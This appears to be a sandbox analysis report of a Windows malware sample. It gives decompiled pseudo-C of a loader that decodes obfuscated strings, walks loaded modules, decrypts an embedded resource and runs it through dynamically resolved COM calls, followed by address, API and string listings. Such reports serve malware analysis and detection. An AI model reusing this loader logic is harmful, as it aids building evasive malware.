					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
						_t344 = E00401650(_t557 + 0x18, _t557 + 0x158);
						_t558 = _t557 + 8;
						_t536 = FindResourceA(_t526, _t344, 0xa);
						 *(_t558 + 0x50) = _t536;
						_t551 = LoadResource(_t526, _t536);
						 *((intOrPtr*)(_t558 + 0x44)) = LockResource(_t551);
						_t349 = E0040B84D(0, _t557 + 0x18, _t526, SizeofResource(_t526, _t536)); // executed
						_push(0x40022);
						_t537 = _t349; // executed
						_t350 = E0040AF66(0, _t526, __eflags); // executed
						_t559 = _t558 + 8;
						 *(_t559 + 0x34) = _t350;
						__eflags = _t350;
						if(_t350 == 0) {
							 *(_t559 + 0x50) = 0;
						} else {
							E0040BA30(_t526, _t350, 0, 0x40022);
							_t486 =  *(_t559 + 0x40);
							_t559 = _t559 + 0xc;
							 *(_t559 + 0x50) = _t486;
						}
						E00401300( *(_t559 + 0x50));
						_t497 =  *(_t559 + 0x48);
						_t352 = SizeofResource(_t526, _t497);
						 *(_t559 + 0x40) = _t352;
						asm("cdq");
						_t354 = _t352 + (_t497 & 0x000003ff) >> 0xa;
						__eflags = _t354;
						if(_t354 > 0) {
							_t519 =  *(_t559 + 0x3c);
							_t482 = _t537 - _t519;
							__eflags = _t482;
							 *(_t559 + 0x34) = _t519;
							 *(_t559 + 0x88) = _t482;
							 *(_t559 + 0x38) = _t354;
							do {
								_t424 =  *(_t559 + 0x34);
								_push( *(_t559 + 0x88) + _t424);
								_push(0x400);
								_push(_t424);
								E00401560(0,  *((intOrPtr*)(_t559 + 0x54)));
								 *(_t559 + 0x34) =  *(_t559 + 0x34) + 0x400;
								_t179 = _t559 + 0x38;
								 *_t179 =  *(_t559 + 0x38) - 1;
								__eflags =  *_t179;
							} while ( *_t179 != 0);
						}
						_t448 =  *(_t559 + 0x40) & 0x800003ff;
						__eflags = _t448;
						if(_t448 < 0) {
							_t448 = (_t448 - 0x00000001 | 0xfffffc00) + 1;
							__eflags = _t448;
						}
						__eflags = _t448;
						if(_t448 > 0) {
							_t421 =  *(_t559 + 0x40) - _t448;
							_push(_t421 + _t537);
							_push(_t448);
							_t422 = _t421 +  *((intOrPtr*)(_t559 + 0x44));
							__eflags = _t422;
							_push(_t422);
							E00401560(0,  *((intOrPtr*)(_t559 + 0x58)));
						}
						E0040BA30(_t526,  *(_t559 + 0x3c), 0,  *(_t559 + 0x40));
						_t560 = _t559 + 0xc;
						FreeResource(_t551);
						_t552 =  *_t537;
						 *((intOrPtr*)(_t560 + 0x94)) = _t552;
						_t358 = E0040B84D(0,  *(_t559 + 0x40), _t526, _t552); // executed
						_t561 = _t560 + 4;
						 *((intOrPtr*)(_t561 + 0x40)) = _t358;
						_t359 = SizeofResource(_t526,  *(_t560 + 0x4c));
						_t527 =  *((intOrPtr*)(_t561 + 0x38));
						_t192 = _t537 + 4; // 0x4
						E0040AC60(_t527, _t561 + 0x98, _t192, _t359);
						E0040BA30(_t527, _t537, 0,  *((intOrPtr*)(_t561 + 0x50)));
						_t528 = _t527 + 0xe;
						 *((char*)(_t561 + 0x34)) = 0xce;
						 *((char*)(_t561 + 0x35)) = 0x27;
						 *((char*)(_t561 + 0x36)) = 0x9c;
						 *((char*)(_t561 + 0x37)) = 0x1a;
						 *((char*)(_t561 + 0x38)) = 0x95;
						 *((char*)(_t561 + 0x39)) = 0x21;
						 *((char*)(_t561 + 0x3a)) = 0x2e;
						 *((char*)(_t561 + 0x3b)) = 0xd;
						 *((char*)(_t561 + 0x3c)) = 0xdb;
						 *((char*)(_t561 + 0x3d)) = 0x29;
						 *((char*)(_t561 + 0x3e)) = 0x57;
						 *((char*)(_t561 + 0x3f)) = 0x56;
						 *((char*)(_t561 + 0x40)) = 0xf8;
						 *((char*)(_t561 + 0x41)) = 0x98;
						 *((char*)(_t561 + 0x42)) = 0x5b;
						 *((char*)(_t561 + 0x43)) = 0xf4;
						 *((char*)(_t561 + 0x44)) = 0xb5;
						 *((char*)(_t561 + 0x45)) = 0x87;
						 *((char*)(_t561 + 0x46)) = 0x7b;
						 *((char*)(_t561 + 0x47)) = 0xf;
						 *((char*)(_t561 + 0x48)) = 0xf4;
						 *((char*)(_t561 + 0x49)) = 0x76;
						 *((char*)(_t561 + 0x4a)) = 0xb9;
						 *((char*)(_t561 + 0x4b)) = 0x34;
						 *((char*)(_t561 + 0x4c)) = 0xbf;
						 *((char*)(_t561 + 0x4d)) = 0x1e;
						 *((char*)(_t561 + 0x4e)) = 0xe7;
						 *((char*)(_t561 + 0x4f)) = 0x78;
						 *((char*)(_t561 + 0x50)) = 0x98;
						 *((char*)(_t561 + 0x51)) = 0xe9;
						 *((char*)(_t561 + 0x52)) = 0x6f;
						 *((char*)(_t561 + 0x53)) = 0xb4;
						 *((char*)(_t561 + 0x54)) = 0;
						_t364 = E00401650(_t561 + 0x30, _t561 + 0x110);
						_t562 = _t561 + 0x24;
						_t365 = LoadLibraryA(_t364); // executed
						_t538 = _t365;
						 *((char*)(_t562 + 0x10)) = 0xe0;
						 *((char*)(_t562 + 0x11)) = 0x18;
						 *((char*)(_t562 + 0x12)) = 0xad;
						 *((char*)(_t562 + 0x13)) = 0x36;
						 *((char*)(_t562 + 0x14)) = 0x95;
						 *((char*)(_t562 + 0x15)) = 0x21;
						_t451 = _t562 + 0x134;
						 *((char*)(_t562 + 0x1e)) = 0x2a;
						 *((char*)(_t562 + 0x1f)) = 0x57;
						 *((char*)(_t562 + 0x20)) = 0xda;
						 *((char*)(_t562 + 0x21)) = 0xc;
						 *((char*)(_t562 + 0x22)) = 0x55;
						 *((char*)(_t562 + 0x23)) = 0x25;
						 *((char*)(_t562 + 0x24)) = 0x8c;
						 *((char*)(_t562 + 0x25)) = 0xf9;
						 *((char*)(_t562 + 0x26)) = 0x35;
						 *((char*)(_t562 + 0x27)) = 0x97;
						 *((char*)(_t562 + 0x28)) = 0xd0;
						 *((char*)(_t562 + 0x29)) = 0x87;
						 *((char*)(_t562 + 0x2a)) = 0x7b;
						 *((char*)(_t562 + 0x2b)) = 0xf;
						 *((char*)(_t562 + 0x2c)) = 0xf4;
						 *((char*)(_t562 + 0x2d)) = 0x76;
						 *((char*)(_t562 + 0x2e)) = 0xb9;
						 *((char*)(_t562 + 0x2f)) = 0x34;
						 *((char*)(_t562 + 0x30)) = 0xbf;
						 *((char*)(_t562 + 0x31)) = 0x1e;
						 *((char*)(_t562 + 0x32)) = 0xe7;
						 *((char*)(_t562 + 0x33)) = 0x78;
						 *((char*)(_t562 + 0x34)) = 0x98;
						 *((char*)(_t562 + 0x35)) = 0xe9;
						 *((char*)(_t562 + 0x36)) = 0x6f;
						 *((char*)(_t562 + 0x37)) = 0xb4;
						 *((char*)(_t562 + 0x38)) = 0;
						_t366 = E00401650(_t562 + 0x14, _t451);
						_t563 = _t562 + 8;
						_t367 = GetProcAddress(_t365, _t366);
						__eflags = _t367;
						_t452 = _t451 & 0xffffff00 | _t367 != 0x00000000;
						__eflags = _t452;
						 *(_t563 + 0x47) = _t452 == 0;
						 *0x423480 = _t367;
						 *((intOrPtr*)(_t563 + 0x80)) = 0;
						 *((intOrPtr*)(_t563 + 0x84)) = 0;
						 *((intOrPtr*)(_t563 + 0x4c)) = 0;
						 *(_t563 + 0x58) = 0;
						 *(_t563 + 0x54) = 0;
						__eflags = _t452;
						if(_t452 != 0) {
							_t368 =  *_t367(0x41b230, 0x41b220, _t563 + 0x80); // executed
							__eflags = _t368;
							if(_t368 >= 0) {
								__eflags =  *(_t563 + 0x47);
								if( *(_t563 + 0x47) == 0) {
									 *((intOrPtr*)(_t563 + 0x17c)) = _t563 + 0x17c;
									E004018F0( *((intOrPtr*)(_t563 + 0x38)), _t563 + 0x17c, _t563 + 0x17c,  *((intOrPtr*)(_t563 + 0x38)), 3);
									_t376 =  *((intOrPtr*)(_t563 + 0x80));
									_t378 =  *((intOrPtr*)( *((intOrPtr*)( *_t376 + 0xc))))(_t376,  *((intOrPtr*)(_t563 + 0x178)), 0x41b240, _t563 + 0x84); // executed
									__eflags = _t378;
									if(_t378 >= 0) {
										_t381 =  *((intOrPtr*)(_t563 + 0x84));
										_t383 =  *((intOrPtr*)( *((intOrPtr*)( *_t381 + 0x24))))(_t381, 0x41b210, 0x41b290, _t563 + 0x4c); // executed
										__eflags = _t383;
										if(_t383 >= 0) {
											_t384 =  *((intOrPtr*)(_t563 + 0x4c));
											_t385 =  *((intOrPtr*)( *((intOrPtr*)( *_t384 + 0x28))))(_t384); // executed
											__eflags = _t385;
											if(_t385 >= 0) {
												 *((intOrPtr*)(_t563 + 0x38)) = 0;
												E00401870(_t563 + 0x44, _t552, "_._");
												_t539 = __imp__#8;
												 *((intOrPtr*)(_t563 + 0x40)) = 0;
												 *_t539(_t563 + 0x94);
												E00401870(_t563 + 0x3c, _t552, "___");
												 *_t539(_t563 + 0xa4);
												 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t563 + 0x4c)))) + 0x34))))( *((intOrPtr*)(_t563 + 0x50)), E004018D0(_t563 + 0x58)); // executed
												_t542 =  *(_t563 + 0x58);
												__eflags = _t542;
												if(_t542 == 0) {
													E0040AD90(0x80004003);
												}
												_t396 =  *((intOrPtr*)( *((intOrPtr*)( *_t542))))(_t542, 0x41b270, E004018D0(_t563 + 0x54));
												 *((intOrPtr*)(_t563 + 0x94)) = _t552 + 0xfffffff2;
												 *((intOrPtr*)(_t563 + 0x98)) = 0;
												__imp__#15(0x11, 1, _t563 + 0x88); // executed
												_t543 = _t396;
												 *((intOrPtr*)(_t563 + 0x50)) = 0;
												__imp__#23(_t543, _t563 + 0x48);
												E0040B350(0, _t528, _t543,  *((intOrPtr*)(_t563 + 0x48)), _t528, _t552 + 0xfffffff2);
												_t564 = _t563 + 0xc;
												__imp__#24(_t543);
												_t399 =  *(_t564 + 0x54);
												__eflags = _t399;
												if(_t399 == 0) {
													_t399 = E0040AD90(0x80004003);
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t399 + 0xb4))))(_t399, _t543, E004018D0(_t564 + 0x34)); // executed
												__eflags = _t543;
												if(_t543 != 0) {
													__imp__#16(_t543);
												}
												_t402 =  *(_t564 + 0x34);
												__eflags = _t402;
												if(_t402 == 0) {
													_t402 = E0040AD90(0x80004003);
												}
												_t469 =  *(_t564 + 0x40);
												_t555 = _t402;
												__eflags = _t469;
												if(_t469 == 0) {
													_t531 = 0;
													__eflags = 0;
												} else {
													_t531 =  *_t469;
												}
												 *((intOrPtr*)( *((intOrPtr*)( *_t402 + 0x44))))(_t555, _t531, E004018D0(_t564 + 0x3c)); // executed
												__imp__#411(0xc, 0, 0);
												_t471 =  *(_t564 + 0x3c);
												__eflags = _t471;
												if(_t471 == 0) {
													E0040AD90(0x80004003);
												}
												_t405 =  *(_t564 + 0x38);
												__eflags = _t405;
												if(_t405 == 0) {
													_t514 = 0;
													__eflags = 0;
												} else {
													_t514 =  *_t405;
												}
												_t563 = _t564 - 0x10;
												_t407 = _t563;
												 *_t407 =  *((intOrPtr*)(_t564 + 0x94));
												 *((intOrPtr*)(_t407 + 4)) =  *((intOrPtr*)(_t563 + 0xb0));
												 *((intOrPtr*)(_t407 + 8)) =  *((intOrPtr*)(_t563 + 0xb8));
												_t528 =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)(_t407 + 0xc)) =  *((intOrPtr*)(_t563 + 0xc0));
												 *((intOrPtr*)( *((intOrPtr*)( *_t471 + 0xe4))))(_t471, _t514, 0x118, 0, 0, _t564 + 0xa4);
												_t538 = __imp__#9; // 0x75f4cf00
												_t538->i(_t563 + 0xa4);
												E004019A0(_t563 + 0x38);
												_t538->i(_t563 + 0x94);
												_t413 =  *(_t563 + 0x3c);
												__eflags = _t413;
												if(_t413 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t413 + 8))))(_t413);
												}
												E004019A0(_t563 + 0x40);
												_t415 =  *(_t563 + 0x34);
												__eflags = _t415;
												if(_t415 != 0) {
													 *((intOrPtr*)( *((intOrPtr*)( *_t415 + 8))))(_t415);
												}
											}
										}
									}
									_t379 =  *((intOrPtr*)(_t563 + 0x174));
									__eflags = _t379 - _t563 + 0x178;
									if(__eflags != 0) {
										_push(_t379);
										E0040B6B5(0, _t528, _t538, __eflags);
										_t563 = _t563 + 4;
									}
								}
							}
							_t369 =  *(_t563 + 0x54);
							__eflags = _t369;
							if(_t369 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t369 + 8))))(_t369);
							}
							_t370 =  *(_t563 + 0x58);
							__eflags = _t370;
							if(_t370 != 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t370 + 8))))(_t370);
							}
						}
						goto L80;
					} else {
						_t428 = E00401650(_t557 + 0x60, _t557 + 0xd4);
						_t565 = _t557 + 8;
						_t547 = _t428;
						_t520 = _t565 + 0x298;
						while(1) {
							_t429 =  *_t520;
							if(_t429 !=  *_t547) {
								break;
							}
							if(_t429 == 0) {
								L7:
								_t429 = 0;
							} else {
								_t493 =  *((intOrPtr*)(_t520 + 1));
								if(_t493 !=  *((intOrPtr*)(_t547 + 1))) {
									break;
								} else {
									_t520 = _t520 + 2;
									_t547 = _t547 + 2;
									if(_t493 != 0) {
										continue;
									} else {
										goto L7;
									}
								}
							}
							L9:
							if(_t429 != 0) {
								_t431 = E00401650(_t565 + 0x14, _t565 + 0xb4);
								_t557 = _t565 + 8;
								_t548 = _t431;
								_t488 = _t557 + 0x298;
								while(1) {
									_t432 =  *_t488;
									__eflags = _t432 -  *_t548;
									if(_t432 !=  *_t548) {
										break;
									}
									__eflags = _t432;
									if(_t432 == 0) {
										L16:
										_t432 = 0;
									} else {
										_t432 =  *((intOrPtr*)(_t488 + 1));
										__eflags = _t432 -  *((intOrPtr*)(_t548 + 1));
										if(_t432 !=  *((intOrPtr*)(_t548 + 1))) {
											break;
										} else {
											_t488 = _t488 + 2;
											_t548 = _t548 + 2;
											__eflags = _t432;
											if(_t432 != 0) {
												continue;
											} else {
												goto L16;
											}
										}
									}
									L18:
									__eflags = _t432;
									if(_t432 == 0) {
										goto L10;
									} else {
										_t435 = Module32Next(_t525, _t557 + 0x278);
										__eflags = _t435;
										if(_t435 != 0) {
											do {
												_t437 = E00401650(_t557 + 0x60, _t557 + 0xd4);
												_t566 = _t557 + 8;
												_t549 = _t437;
												_t490 = _t566 + 0x298;
												while(1) {
													_t438 =  *_t490;
													__eflags = _t438 -  *_t549;
													if(_t438 !=  *_t549) {
														break;
													}
													__eflags = _t438;
													if(_t438 == 0) {
														L26:
														_t438 = 0;
													} else {
														_t438 =  *((intOrPtr*)(_t490 + 1));
														__eflags = _t438 -  *((intOrPtr*)(_t549 + 1));
														if(_t438 !=  *((intOrPtr*)(_t549 + 1))) {
															break;
														} else {
															_t490 = _t490 + 2;
															_t549 = _t549 + 2;
															__eflags = _t438;
															if(_t438 != 0) {
																continue;
															} else {
																goto L26;
															}
														}
													}
													L28:
													__eflags = _t438;
													if(_t438 == 0) {
														goto L10;
													} else {
														_t439 = E00401650(_t566 + 0x14, _t566 + 0xb4);
														_t557 = _t566 + 8;
														_t550 = _t439;
														_t492 = _t557 + 0x298;
														while(1) {
															_t440 =  *_t492;
															__eflags = _t440 -  *_t550;
															if(_t440 !=  *_t550) {
																break;
															}
															__eflags = _t440;
															if(_t440 == 0) {
																L34:
																_t440 = 0;
															} else {
																_t440 =  *((intOrPtr*)(_t492 + 1));
																__eflags = _t440 -  *((intOrPtr*)(_t550 + 1));
																if(_t440 !=  *((intOrPtr*)(_t550 + 1))) {
																	break;
																} else {
																	_t492 = _t492 + 2;
																	_t550 = _t550 + 2;
																	__eflags = _t440;
																	if(_t440 != 0) {
																		continue;
																	} else {
																		goto L34;
																	}
																}
															}
															L36:
															__eflags = _t440;
															if(_t440 == 0) {
																goto L10;
															} else {
																goto L37;
															}
															goto L81;
														}
														asm("sbb eax, eax");
														asm("sbb eax, 0xffffffff");
														goto L36;
													}
													goto L81;
												}
												asm("sbb eax, eax");
												asm("sbb eax, 0xffffffff");
												goto L28;
												L37:
												_t442 = Module32Next(_t525, _t557 + 0x278);
												__eflags = _t442;
											} while (_t442 != 0);
										}
										goto L38;
									}
									goto L81;
								}
								asm("sbb eax, eax");
								asm("sbb eax, 0xffffffff");
								goto L18;
							} else {
								L10:
								CloseHandle(_t525);
								return 0;
							}
							goto L81;
						}
						asm("sbb eax, eax");
						asm("sbb eax, 0xffffffff");
						goto L9;
					}
				}
				L81:
			}

0x004019f0
0x004019f0
0x004019fd
0x00401a10
0x00401a15
0x00401a1a
0x00401a1f
0x00401a24
0x00401a29
0x00401a2e
0x00401a33
0x00401a38
0x00401a3d
0x00401a42
0x00401a47
0x00401a4c
0x00401a51
0x00401a56
0x00401a5b
0x00401a60
0x00401a65
0x00401a6a
0x00401a6f
0x00401a74
0x00401a79
0x00401a7e
0x00401a83
0x00401a88
0x00401a8d
0x00401a92
0x00401a97
0x00401a9c
0x00401aa1
0x00401aa6
0x00401aab
0x00401ab0
0x00401ab9
0x00401aba
0x00401abf
0x00401ac7
0x0040248d
0x0040248d
0x00402496
0x00401acd
0x00401ad6
0x00401ae2
0x00401ae6
0x00401af1
0x00401af6
0x00401afb
0x00401b00
0x00401b05
0x00401b0a
0x00401b0f
0x00401b14
0x00401b19
0x00401b1e
0x00401b23
0x00401b28
0x00401b2d
0x00401b32
0x00401b37
0x00401b3c
0x00401b41
0x00401b46
0x00401b4b
0x00401b50
0x00401b55
0x00401b5a
0x00401b5f
0x00401b64
0x00401b69
0x00401b6e
0x00401b73
0x00401b78
0x00401b7d
0x00401b85
0x00401b8d
0x00401b95
0x00401b9d
0x00401ba4
0x00401ba9
0x00401bae
0x00401bb3
0x00401bb8
0x00401bbd
0x00401bc2
0x00401bc7
0x00401bcc
0x00401bd1
0x00401bd6
0x00401bdb
0x00401be0
0x00401be5
0x00401bea
0x00401bef
0x00401bf4
0x00401bf9
0x00401bfe
0x00401c03
0x00401c08
0x00401c0d
0x00401c12
0x00401c17
0x00401c1c
0x00401c21
0x00401c26
0x00401c2b
0x00401c30
0x00401c35
0x00401c3a
0x00401c3f
0x00401c44
0x00401c48
0x00401c4f
0x00401dc3
0x00401dc4
0x00401de0
0x00401de2
0x00401de7
0x00401dec
0x00401df1
0x00401df6
0x00401dfb
0x00401e00
0x00401e05
0x00401e0a
0x00401e0f
0x00401e14
0x00401e19
0x00401e1e
0x00401e23
0x00401e28
0x00401e2d
0x00401e32
0x00401e37
0x00401e3c
0x00401e41
0x00401e46
0x00401e4b
0x00401e50
0x00401e55
0x00401e5a
0x00401e5f
0x00401e64
0x00401e69
0x00401e6e
0x00401e73
0x00401e78
0x00401e7d
0x00401e82
0x00401e86
0x00401e8b
0x00401e96
0x00401e9a
0x00401ea4
0x00401eaf
0x00401eba
0x00401ebf
0x00401ec4
0x00401ec6
0x00401ecb
0x00401ece
0x00401ed2
0x00401ed4
0x00401eef
0x00401ed6
0x00401edd
0x00401ee2
0x00401ee6
0x00401ee9
0x00401ee9
0x00401ef7
0x00401efc
0x00401f02
0x00401f08
0x00401f0c
0x00401f15
0x00401f18
0x00401f1a
0x00401f1c
0x00401f22
0x00401f22
0x00401f24
0x00401f28
0x00401f2f
0x00401f33
0x00401f33
0x00401f40
0x00401f45
0x00401f4a
0x00401f4b
0x00401f50
0x00401f58
0x00401f58
0x00401f58
0x00401f58
0x00401f33
0x00401f63
0x00401f63
0x00401f69
0x00401f72
0x00401f72
0x00401f72
0x00401f73
0x00401f75
0x00401f7b
0x00401f80
0x00401f81
0x00401f86
0x00401f86
0x00401f8c
0x00401f8d
0x00401f8d
0x00401f9d
0x00401fa2
0x00401fa6
0x00401fac
0x00401faf
0x00401fb6
0x00401fbf
0x00401fc4
0x00401fc8
0x00401fce
0x00401fd3
0x00401fe0
0x00401fec
0x00401ffe
0x00402001
0x00402006
0x0040200b
0x00402010
0x00402015
0x0040201a
0x0040201f
0x00402024
0x00402029
0x0040202e
0x00402033
0x00402038
0x0040203d
0x00402042
0x00402047
0x0040204c
0x00402051
0x00402056
0x0040205b
0x00402060
0x00402065
0x0040206a
0x0040206f
0x00402074
0x00402079
0x0040207e
0x00402083
0x00402088
0x0040208d
0x00402092
0x00402097
0x0040209c
0x004020a1
0x004020a5
0x004020aa
0x004020ae
0x004020b4
0x004020b6
0x004020bb
0x004020c0
0x004020c5
0x004020ca
0x004020cf
0x004020d4
0x004020e1
0x004020e6
0x004020eb
0x004020f0
0x004020f5
0x004020fa
0x004020ff
0x00402104
0x00402109
0x0040210e
0x00402113
0x00402118
0x0040211d
0x00402122
0x00402127
0x0040212c
0x00402131
0x00402136
0x0040213b
0x00402140
0x00402145
0x0040214a
0x0040214f
0x00402154
0x00402159
0x0040215e
0x00402163
0x00402167
0x0040216c
0x00402171
0x00402177
0x00402179
0x0040217c
0x0040217e
0x00402183
0x00402188
0x0040218f
0x00402196
0x0040219a
0x0040219e
0x004021a2
0x004021a4
0x004021bc
0x004021be
0x004021c0
0x004021c6
0x004021ca
0x004021e5
0x004021ec
0x004021f1
0x00402213
0x00402215
0x00402217
0x0040221d
0x00402239
0x0040223b
0x0040223d
0x00402243
0x0040224d
0x0040224f
0x00402251
0x00402260
0x00402264
0x00402269
0x00402277
0x0040227b
0x00402286
0x00402293
0x004022af
0x004022b1
0x004022b5
0x004022b7
0x004022be
0x004022be
0x004022d7
0x004022e8
0x004022ef
0x004022f6
0x00402300
0x00402304
0x00402308
0x00402315
0x0040231a
0x0040231e
0x00402324
0x00402328
0x0040232a
0x00402331
0x00402331
0x0040234e
0x00402350
0x00402352
0x00402355
0x00402355
0x0040235b
0x0040235f
0x00402361
0x00402368
0x00402368
0x0040236d
0x00402371
0x00402373
0x00402375
0x0040237b
0x0040237b
0x00402377
0x00402377
0x00402377
0x00402390
0x00402396
0x0040239c
0x004023a0
0x004023a2
0x004023a9
0x004023a9
0x004023ae
0x004023b2
0x004023b4
0x004023ba
0x004023ba
0x004023b6
0x004023b6
0x004023b6
0x004023ce
0x004023d1
0x004023d3
0x004023dd
0x004023ec
0x004023ef
0x004023fe
0x00402401
0x00402403
0x00402411
0x00402417
0x00402424
0x00402426
0x0040242a
0x0040242c
0x00402434
0x00402434
0x0040243a
0x0040243f
0x00402443
0x00402445
0x0040244d
0x0040244d
0x00402445
0x00402251
0x0040223d
0x0040244f
0x0040245d
0x0040245f
0x00402461
0x00402462
0x00402467
0x00402467
0x0040245f
0x004021ca
0x0040246a
0x0040246e
0x00402470
0x00402478
0x00402478
0x0040247a
0x0040247e
0x00402480
0x00402488
0x00402488
0x00402480
0x00000000
0x00401c55
0x00401c62
0x00401c67
0x00401c6a
0x00401c6c
0x00401c73
0x00401c73
0x00401c77
0x00000000
0x00000000
0x00401c7b
0x00401c8f
0x00401c8f
0x00401c7d
0x00401c7d
0x00401c83
0x00000000
0x00401c85
0x00401c85
0x00401c88
0x00401c8d
0x00000000
0x00000000
0x00000000
0x00000000
0x00401c8d
0x00401c83
0x00401c98
0x00401c9a
0x00401cbd
0x00401cc2
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd0
0x00401cd2
0x00401cd4
0x00000000
0x00000000
0x00401cd6
0x00401cd8
0x00401cec
0x00401cec
0x00401cda
0x00401cda
0x00401cdd
0x00401ce0
0x00000000
0x00401ce2
0x00401ce2
0x00401ce5
0x00401ce8
0x00401cea
0x00000000
0x00000000
0x00000000
0x00000000
0x00401cea
0x00401ce0
0x00401cf5
0x00401cf5
0x00401cf7
0x00000000
0x00401cf9
0x00401d02
0x00401d07
0x00401d09
0x00401d10
0x00401d1d
0x00401d22
0x00401d25
0x00401d27
0x00401d30
0x00401d30
0x00401d32
0x00401d34
0x00000000
0x00000000
0x00401d36
0x00401d38
0x00401d4c
0x00401d4c
0x00401d3a
0x00401d3a
0x00401d3d
0x00401d40
0x00000000
0x00401d42
0x00401d42
0x00401d45
0x00401d48
0x00401d4a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d4a
0x00401d40
0x00401d55
0x00401d55
0x00401d57
0x00000000
0x00401d5d
0x00401d6a
0x00401d6f
0x00401d72
0x00401d74
0x00401d80
0x00401d80
0x00401d82
0x00401d84
0x00000000
0x00000000
0x00401d86
0x00401d88
0x00401d9c
0x00401d9c
0x00401d8a
0x00401d8a
0x00401d8d
0x00401d90
0x00000000
0x00401d92
0x00401d92
0x00401d95
0x00401d98
0x00401d9a
0x00000000
0x00000000
0x00000000
0x00000000
0x00401d9a
0x00401d90
0x00401da5
0x00401da5
0x00401da7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00401da7
0x00401da0
0x00401da2
0x00000000
0x00401da2
0x00000000
0x00401d57
0x00401d50
0x00401d52
0x00000000
0x00401dad
0x00401db6
0x00401dbb
0x00401dbb
0x00401d10
0x00000000
0x00401d09
0x00000000
0x00401cf7
0x00401cf0
0x00401cf2
0x00000000
0x00401c9c
0x00401c9c
0x00401c9d
0x00401caf
0x00401caf
0x00000000
0x00401c9a
0x00401c93
0x00401c95
0x00000000
0x00401c95
0x00401c4f
0x00000000

APIs

OleInitialize.OLE32(00000000), ref: 004019FD
_getenv.LIBCMT ref: 00401ABA
GetCurrentProcessId.KERNEL32 ref: 00401ACD
CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00401AD6
Module32First.KERNEL32 ref: 00401C48
CloseHandle.KERNEL32(00000000,?,?,00000000,?), ref: 00401C9D
Module32Next.KERNEL32 ref: 00401D02
Module32Next.KERNEL32 ref: 00401DB6
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00401DC4
GetModuleHandleA.KERNEL32(00000000), ref: 00401DCB
FindResourceA.KERNEL32(00000000,00000000,00000000), ref: 00401E90
LoadResource.KERNEL32(00000000,00000000), ref: 00401E9E
LockResource.KERNEL32(00000000), ref: 00401EA7
SizeofResource.KERNEL32(00000000,00000000), ref: 00401EB3
_malloc.LIBCMT ref: 00401EBA
_memset.LIBCMT ref: 00401EDD
SizeofResource.KERNEL32(00000000,?), ref: 00401F02

Strings

., xrefs: 00401B0A
4, xrefs: 00401B64
PPOs, xrefs: 00402183
h, xrefs: 00401A6F
W, xrefs: 00401B23
U, xrefs: 004020F5
v, xrefs: 00401E4B
W, xrefs: 00402033
___, xrefs: 0040227D
_._, xrefs: 00402257
{, xrefs: 00401B4B
[, xrefs: 00401B37
), xrefs: 0040202E
v, xrefs: 00401B5A
W, xrefs: 00401B14
*, xrefs: 00401A1F
{, xrefs: 00401E3C
x, xrefs: 00401B78
x, xrefs: 00402088
4, xrefs: 00402136
o, xrefs: 00402097
{, xrefs: 0040205B
', xrefs: 00402006
V, xrefs: 00401E19
4, xrefs: 00402074
:, xrefs: 00401B28
!, xrefs: 0040201A
o, xrefs: 00402159
., xrefs: 0040201F
D, xrefs: 00401DFB
o, xrefs: 00401B8D
!, xrefs: 00401B1E
', xrefs: 00401AF6
v, xrefs: 0040206A
v, xrefs: 0040212C
[, xrefs: 00402047
6, xrefs: 004020C5
8, xrefs: 00401BA9
E, xrefs: 00401E0F
!, xrefs: 004020CF
*, xrefs: 004020E1
{, xrefs: 0040211D
5, xrefs: 00402109
V, xrefs: 00402038
W, xrefs: 004020E6
0, xrefs: 00401BBD
", xrefs: 00401B0F
x, xrefs: 0040214A
%, xrefs: 004020FA
x, xrefs: 00401E69

Memory Dump Source

